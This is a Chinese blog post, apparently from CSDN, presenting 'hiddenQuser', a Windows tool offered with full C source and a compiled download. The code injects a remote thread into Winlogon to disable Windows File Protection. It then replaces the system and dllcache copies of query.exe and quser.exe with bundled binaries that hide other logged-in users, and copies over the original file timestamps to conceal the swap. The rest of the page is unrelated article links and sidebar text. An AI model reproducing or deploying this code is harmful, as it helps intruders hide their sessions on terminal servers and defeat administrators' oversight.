hiddenQuser + 源码

通义千问对接FreeSWITCH实现大模型呼叫中心 通义千问是由阿里云开发的大规模语言模型,具备优秀的自然语言处理能力,支持文本生成、问答对话、摘要提取等多种任务。它不仅拥有丰富的知识储备,还能根据上下文灵活调整回答策略,适用于各种复杂场景下的自动化交流。FreeSWITCH是一个开源的多媒体通信服务器,提供了包括VoIP通话、即时消息传递在内的多种通信服务。它的模块化设计允许开发者根据实际需求定制功能,广泛应用于企业级通信系统中。通过集成通义千问,FreeSWITCH能够实现更智能的客户服务体验。 阅读详情

来源:精灵's Blog
执行后替换系统目录下的Quser.exe与Query.exe ,登陆过终端服务器的朋友都知道这两个工具是做啥的吧~

大家都知道,在Windows 2000和Windows XP及2003系统中有系统文件保护功能,一旦被保护的系统文件被修改了,就会弹出需要插入系统安装盘CD的对话框。所以本工具采用了黑客之门的方法,通过远程注入进程让系统文件保护暂时失效,然后执行替换的操作.执行后自动替换系统的这两个文件包括dllcache下的对应文件,让系统文件保护也无法还原系统原来的这两个文件.

没什么技术含量,在任务管理器中隐藏还不会.
程序代码:

#include<stdio.h>
#include<windows.h>
#include<TLHELP32.H>
#include"resource.h"

编译好的程序下载:
hiddenQuser.rar

BOOL ExtractFile(LPCTSTR szResourceType,LPCTSTR szResourceName,LPCTSTR szFilePath,HMODULE hModule, // = NULL,
BOOL bHidden ); // = TRUE
DWORD GetProcessIDFromName(char * name);
BOOL DebugPrivilege(const char *PName,BOOL bEnable);

FILETIME lpCreationTime; // 文件夹的创建时间
FILETIME lpLastAccessTime; // 对文件夹的最近访问时间
FILETIME lpLastWriteTime; // 文件夹的最近修改时间

void main(int argc,char * argv[])
{
char System[MAX_PATH] = {0};
char System1[MAX_PATH] = {0};
char System2[MAX_PATH] = {0};
char System3[MAX_PATH] = {0};
char System4[MAX_PATH] = {0};
char Queryexe[MAX_PATH] = {0};
char Queryexe1[MAX_PATH] = {0};
char Quserexe[MAX_PATH] = {0};
char Quserexe1[MAX_PATH] = {0};
HANDLE hFile = INVALID_HANDLE_VALUE;

printf("/n=========================================================================/n");
printf("[F.S.T] hidden Other user info when execute query.exe & quser.exe/n");
printf("Welcome to [F.S.T] Http://Www.Wrsky.com/n");
printf("Code by Sprite/n");
printf("=========================================================================/n");

GetSystemDirectory(System,MAX_PATH);

strcat(Queryexe,System);
strcat(Queryexe,"//query.exe");
printf("%s/n",Queryexe);

hFile = CreateFile(Queryexe,
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);

// 获取文件夹时间属性信息
GetFileTime(hFile, &lpCreationTime, &lpLastAccessTime, &lpLastWriteTime);

CloseHandle(hFile);

strcat(Quserexe,System);
strcat(Quserexe,"//quser.exe");
printf("%s/n",Quserexe);

strcat(Queryexe1,System);
strcat(Queryexe1,"//dllcache");
strcat(Queryexe1,"//query.exe");
printf("%s/n",Queryexe1);

strcat(Quserexe1,System);
strcat(Quserexe1,"//dllcache");
strcat(Quserexe1,"//quser.exe");
printf("%s/n",Quserexe1);

strcat(System1,"rename ");
strcat(System1,System);
strcat(System1,"//query.exe ");
strcat(System1,"query1.exe");

strcat(System2,"rename ");
strcat(System2,System);
strcat(System2,"//quser.exe ");
strcat(System2,"quser1.exe");

strcat(System3,"rename ");
strcat(System3,System);
strcat(System3,"//dllcache");
strcat(System3,"//query.exe ");
strcat(System3,"query1.exe");

strcat(System4,"rename ");
strcat(System4,System);
strcat(System4,"//dllcache");
strcat(System4,"//quser.exe ");
strcat(System4,"quser1.exe");

printf("%s/n",System1);
printf("%s/n",System2);
printf("%s/n",System3);
printf("%s/n",System4);

DebugPrivilege("SeDebugPrivilege",TRUE);

/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/

DWORD dwPid=GetProcessIDFromName("Winlogon.exe");

printf("Winlogon 's Process ID is:%d/n",dwPid);

HANDLE hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);

DWORD dwVersion;

HMODULE hSfc;

dwVersion = GetVersion();

//判断操作系统的类型

if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)

{// Windows 2000/XP/2003

if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000

hSfc = LoadLibrary("sfc.dll");

else if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 1) //Windows XP

hSfc = LoadLibrary("sfc_os.dll");
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 2) //Windows 2003

hSfc = LoadLibrary("sfc_os.dll");

}

//得到函数的地址

FARPROC dwAddress=GetProcAddress(hSfc,MAKEINTRESOURCE(2));

DWORD dwThreadId;

HANDLE hThread;

//创建远线程

hThread =CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *) (void *))dwAddress,0,0,&dwThreadId);

WaitForSingleObject(hThread,2000l);

system(System3);
system(System1);
system(System4);
system(System2);

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE1),Queryexe1,NULL,FALSE))
printf("Extract %s Success!/n",Queryexe1);
else
printf("Extract %s Error!/n",Queryexe1);

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE1),Queryexe,NULL,FALSE))
printf("Extract %s Success!/n",Queryexe);
else
printf("Extract %s Error!/n",Queryexe);

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE2),Quserexe1,NULL,FALSE))
printf("Extract %s Success!/n",Quserexe1);
else
printf("Extract %s Error!/n",Quserexe1);

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE2),Quserexe,NULL,FALSE))
printf("Extract %s Success!/n",Quserexe);
else
printf("Extract %s Error!/n",Quserexe);
DebugPrivilege(SE_DEBUG_NAME,FALSE);
CloseHandle(hThread);
}

/*函数ExtractFile(导出一个自定义资源)*/
BOOL ExtractFile(LPCTSTR szResourceType,LPCTSTR szResourceName,LPCTSTR szFilePath,HMODULE hModule, // = NULL,
BOOL bHidden ) // = TRUE
{
// 如果用户没指定实例句柄,则假设在当前进程中
HMODULE hCurProc = hModule;
if ( NULL == hModule )
hCurProc = GetModuleHandle(NULL);
//ASSERT( hCurProc ); // find the RESOURCE_DEFINE resource data.
HRSRC hResourceExeFile;
hResourceExeFile = FindResource(hCurProc,szResourceName,szResourceType );

if ( ! hResourceExeFile )
{
//TRACE(_T("findresource failed!!(%ld) "), GetLastError());
printf("findresource failed!!(%ld) ", GetLastError());
return FALSE;
} // get size of resource
DWORD dwSize = SizeofResource( (HMODULE)hCurProc, hResourceExeFile );
if ( 0 == dwSize )
{
//TRACE(_T("can not get the resource size"));
printf("can not get the resource size");
return FALSE;
} // alloc the global memory
HGLOBAL hGlobalMem = LoadResource(hCurProc, hResourceExeFile );

if ( NULL == hGlobalMem )
{
//TRACE(_T("LoadResource failed! %ld"), GetLastError());
printf("LoadResource failed! %ld", GetLastError());
return FALSE;
}
// lock the resource
LPVOID lpExe = LockResource( hGlobalMem );
//ASSERT( lpExe );
/*if (!DeleteFile(szFilePath))
{
printf("删除文件失败!");
return false;
}*/
// 是否隐藏
DWORD dwAttrib = FILE_ATTRIBUTE_NORMAL;
if ( bHidden )
dwAttrib |= FILE_ATTRIBUTE_HIDDEN; // copy to file!!

HANDLE hFile = INVALID_HANDLE_VALUE;

hFile = CreateFile(szFilePath,
GENERIC_WRITE,
0,
NULL,
CREATE_NEW,
dwAttrib,
NULL
);
if ( INVALID_HANDLE_VALUE == hFile )
{
//TRACE("can not open the target file (%ld) ", GetLastError());
printf("can not open the target file (%ld) ", GetLastError());
return FALSE;
}
DWORD dwWritten;

if ( ! WriteFile( hFile, lpExe, dwSize, &dwWritten, NULL ) )
{
//TRACE(_T("can not write the target file %ld"), GetLastError());
printf("can not write the target file %ld", GetLastError());
CloseHandle( hFile );
return FALSE;
}
//设置文件日期
SetFileTime(hFile, &lpCreationTime, &lpLastAccessTime, &lpLastWriteTime);

CloseHandle( hFile );
return TRUE;
}

//提升特权

BOOL DebugPrivilege(const char *PName,BOOL bEnable)
{
BOOL bResult = TRUE;
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;

if(OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&hToken) == 0)
{
printf("Fail To OpenProcess /r/n");
bResult = FALSE;
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
LookupPrivilegeValue(NULL,PName,&TokenPrivileges.Privileges[0].Luid);
AdjustTokenPrivileges(hToken,FALSE,&TokenPrivileges,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
if(GetLastError() != ERROR_SUCCESS)
{
printf("Fail To AddPrivilege /r/n");
bResult = FALSE;
}
CloseHandle(hToken);

return bResult;
}

//得到进程ID

DWORD GetProcessIDFromName(char * name)
{
HANDLE snapshot ;
PROCESSENTRY32 processinfo ;
processinfo.dwSize = sizeof (processinfo) ;
snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0) ;
if (snapshot == NULL) return FALSE;

BOOL status = Process32First (snapshot, &processinfo) ;
while (status)
{
if(stricmp(name,processinfo.szExeFile)==0)
return processinfo.th32ProcessID;
status = Process32Next (snapshot, &processinfo);
}
return -1;
}

数字孪生教程大全之 我们如何构建数字孪生?数字孪生的五个级别都是什么 文章摘要 什么是数字孪生? 我们如何构建数字孪生? 开发智能数字孪生系统的框架 什么是数字孪生? 数字孪生是一个不言自明的术语,用于识别物理系统的数字化版本。数字孪生的最早参考来自大卫·格伦特(David Gelernter )的小说作品。在他 1995 年的书中,Gelernter 博士为读者提供了未来有趣的可能性——万维网。前网络书籍谈到了计算机系统上的镜像数字世界。有些人可能会争辩说,我们的 Meta-verse 是新的数字世界——现实世界的数字孪生。但是,还有其他可能性,时间可能会讲述一个更好的 阅读详情

相关推荐

Android逆向进阶篇 Charles + Drony Vpn绕过代理检测方案 获取猫眼App数据

Android逆向进阶篇 Charles + Drony Vpn绕过代理检测方案 获取猫眼App数据

曾用名:极客柒 1853

linux如何查看隐藏进程中勒索病毒,.FileFuck勒索病毒删除+数据恢复(HiddenTear变体)...

.FileFuck是勒索病毒是HiddenTear的一种变体,用于在不使用扩展名的情况下重写文件名。该FileFuck病毒可能仍然在发展,根据恶意软件研究,但如果你的电脑被感染,将加密文件。.FileFuck 勒索病毒 - 感染方法.FileFuck勒索病毒可以通过各种方法传播其感染。启动此勒索软件恶意脚本的有效负载滴管正在万维网上传播,研究人员已经开始研究恶意软件样本。如果该文件落在您的计算机系...

weixin_34108829的博客 1974

深入浅出CenterFusion

结合论文和代码理解CenterFusion

Untitled的专栏 5104

探索安全教育的新领域:Hidden Tear - 一个开源的赎金软件样本

探索安全教育的新领域:Hidden Tear - 一个开源的赎金软件样本 去发现同类优质开源项目:https://gitcode.com/ 1、项目介绍 Hidden Tear 是一个独特的开源项目,它提供了一个类似赎金软件的文件加密样例,旨在教育和防范网络安全威胁。由经验丰富的开发者创建,这个项目允许研究者和学习者深入理解恶意软件的工作原理,同时也为安全专业人员提供了模拟攻击场景的机会。 ![H...

gitblog_00042的博客 554

医学影像AI的幻觉问题与CCD解决方案

医学影像AI在辅助诊断中面临的核心挑战是幻觉现象,即模型生成不符合实际影像的虚假诊断。这种现象源于多模态大语言模型(MLLMs)在视觉-语言对齐上的技术局限,可能导致假阳性或假阴性的临床风险。通过临床对比解码(CCD)框架,结合症状锚定和专家引导的双阶段校准机制,可有效提升模型输出的可靠性。该技术在CheXpert和MIMIC-CXR等标准数据集上验证,显著改善了肺不张、胸腔积液等关键指标的检测准确率。对于医疗AI落地场景,这种即插即用的解决方案既规避了数据隐私合规问题,又降低了基层医院的部署门槛,为AI辅

weixin_36303807的博客 322

从零完成 STM32 + ESP-01S + 云服务器 TCP 通信测试

STM32 通过 USART3 控制 ESP-01S 接入手机 2.4 GHz 热点,随后连接公网云服务器 8.152.204.86:9002。云端在同一 TCP 连接中连续收到 seq=1~6 的测试报文,5 个发送间隔平均约 5.4 秒,说明本次 TCP 上行链路已经打通。

weixin_51387720的博客 320

[OtterCTF 2018]Closure

已知这个勒索软件为HiddenTear,直接在网上找到解密程序HiddenTearDecrypter。先将加密文件的末尾多余的0去掉,再把后缀加上locked。既然你从内存中提取了密码,你能解密rick的文件吗?密码是知道了,加密文件?这里没有这个软件直接贴图。上面题目的图片也提示了。

qq_52579508的博客 266

DEXPI与Proteus XML:解锁过程工业P&ID数据互操作性的技术核心

本文深入探讨了DEXPI与Proteus XML在过程工业P&ID数据互操作性中的核心技术。通过解析DEXPI标准的开源特性和Proteus XML的架构设计,揭示了其在跨平台数据交换中的关键作用,并结合CADMATIC和西门子COMOS的实战案例,展示了如何实现高效的数据集成与转换。

weixin_29195615的博客 385

windows几个常用的命令

windows几个常用的命令

huang714的专栏 2439

Zemax操作41--公差分析(一)

zemax公差

lzy750750的博客 5975

Silly Tavern(酒馆)AI 角色扮演下载与安装教程(Windows本地部署)

SillyTavern是一款开源AI角色扮演前端工具,支持沉浸式对话和长期角色互动。本文详细介绍了在Windows系统F盘部署SillyTavern的完整流程,包括下载项目、安装Node.js和Git环境、配置路径、启动服务等关键步骤,并特别说明非系统盘路径可能遇到的npm安装问题及解决方法。成功启动后,用户可通过浏览器访问本地地址使用该工具进行AI角色扮演互动。

Tan3851的博客 1万+

quser

quser 适用于: Windows Server (半年通道) ,Windows Server 2019,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012 显示远程桌面会话主机服务器上的用户会话的相关信息。可以使用此命令查明特定用户是否登录到特定的远程桌面会话主机服务器。此命令返回以下信息: 用户的名称 远程桌面会话主机服务器上的会话名称 会话 ID 会话状态 (活动或已断开连接) ..

allway2的博客 2286

gseapy python包GO、KEGG富集(注释)分析

文档案例参考:https://gseapy.readthedocs.io/en/latest/gseapy_example.html#Over-representation-analysis-by-Enrichr-web-services安装:建议安装最新版(这里安装的1.04):https://github.com/zqfang/GSEApy/releases。

weixin_42357472的博客 3614

第九次作业

查看安装好的JAVA版本:下载压缩包Cobalt Strike,解压CobaltStrike并查看:查看kali的ip启动团队服务器即可。

uygygf的博客 879

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

留住非法网络入侵者的作案痕迹

   据FBI关于由于计算机犯罪所造成的经济损失的统计,仅2003年就达2000亿美元,由于网络黑客培训兴起以及黑客录像的大量传播,加上成为黑客的好奇心理以及利用黑客手段可以获取资料来牟取非法利益,越来越的人喜欢上了入侵,促使我国的网络入侵刑事案件呈现上升趋势。网络入侵轻者仅仅是个人资料丢失和一些轻微的破坏,严重的入侵不仅会让个人和公司蒙受巨大的经济损失,而且还极有可能发生资料泄密危害国家安全。

koukouyu的专栏 1252

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

Windows信息收集、渗透测试常用命令 (゚益゚メ) 渗透测试

文章目录工作组介绍 工作组 介绍 工作组是

寻觅的博客 3064

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

命令行指令(3)

perfmon.exe ———————— starts windows performance monitor 性能监视器   ping.exe ———————— packet internet groper 验证与远程计算机的连接   posix.exe ———————— used for backward compatibility with unix 用于兼容unix   pri

605

远程桌面连接口令

远程桌面连接口令http://blog.owecn.com/user1/kuerr/2007/10/blog_post_3740.html[ 时间: 2007-10-16 20:55:37 | 作者: kuerr ]工具:WINNTAutoAttack自动攻击器(扫漏洞)SQLTOOLS(SA空口令连接器)RAMDIN影子3.

水书选 的专栏 5320

Win7系统提示找不到quser.exe文件的解决办法

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个quser.exe文件(挑选合适的版本文件)把它放入到程序或系统目录中,当我们执行某一个.exe程序时,相应的DLL文件就会被调用,因此将缺失的文件放回到原目录之后就能打开你的软件或游戏了.那么出现quser.exe丢失要怎么解决?

file 860

以 32 位运行时在 System32 中找不到 C# 文件

转载:https://www.coder.work/article/2967857 原文:https://stackoverflow.com/questions/30533924/c-sharp-file-not-found-in-system32-when-running-in-32-bit ‘quser’ is not recognized as an internal or external command, operable program or batch file. Process p = ne

weixin_53370274的博客 515

内网渗透篇-信息收集

内网渗透命令大全,内网信息收集

qax 5940

内网渗透一些命令收集整理

内网渗透一些命令收集整理 ===== 一些收集信息的命令 ===== @查询本机的一些情况 ipconfig /all @查询存在关系的机器 Net view @查询有几个域 nei view /damin @查看 testdomain域中的计算机列表 net view /domain:testdomain @查询域内的组

收集盒 Book box 1204

PowerShell 把quser 字符串结果转换为对象

今天豆子需要远程注销一个终端服务器的用户,操作很简单,首先quser获取远程用户的sessionID,然后logoff命令注销即可quser /server:XXXX logoff sessionID /server:XXX和早期的cmd和Linux的bash命令一样,quser的结果都是字符串。字符串的处理对于脚本来说比较麻烦,如果能够转换成标准的object对象就好了。仔细观察一下quser的...

weixin_34234829的博客 600

Dos命令大全【转载】

  打开"运行"对话框(Win+R),输入cmd,打开控制台命令窗口... 也可以通过cmd /c 命令 和 cmd /k 命令的方式来直接运行命令 注:/c表示执行完命令后关闭cmd窗口;/k表示执行完命令后保留cmd窗口 # 控制台命令窗口中一些技巧 复制内容:右键弹出快捷菜单,选择“标记(K)”,然后选中所需复制的内容,然后右键即可 粘贴内容:右键弹出快捷菜单,选择“...

学习 记录 总结 分享 3150

命令行quser logoff

g_little_boy的专栏 1386

命令行参数的使用(讲解main函数的参数)

什么是命令行参数? linux下经常会使用命令行参数 例如: ls -l gcc test.c -E test.i 这些在后面加入的-l 、-E、test.c之类的的东西我们统称为命令行参数 那他们是如何实现的?

无聊星期三的博客 1万+
上一篇: hiddenQuser + 源码
下一篇: 如何编译升级ubuntu内核
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值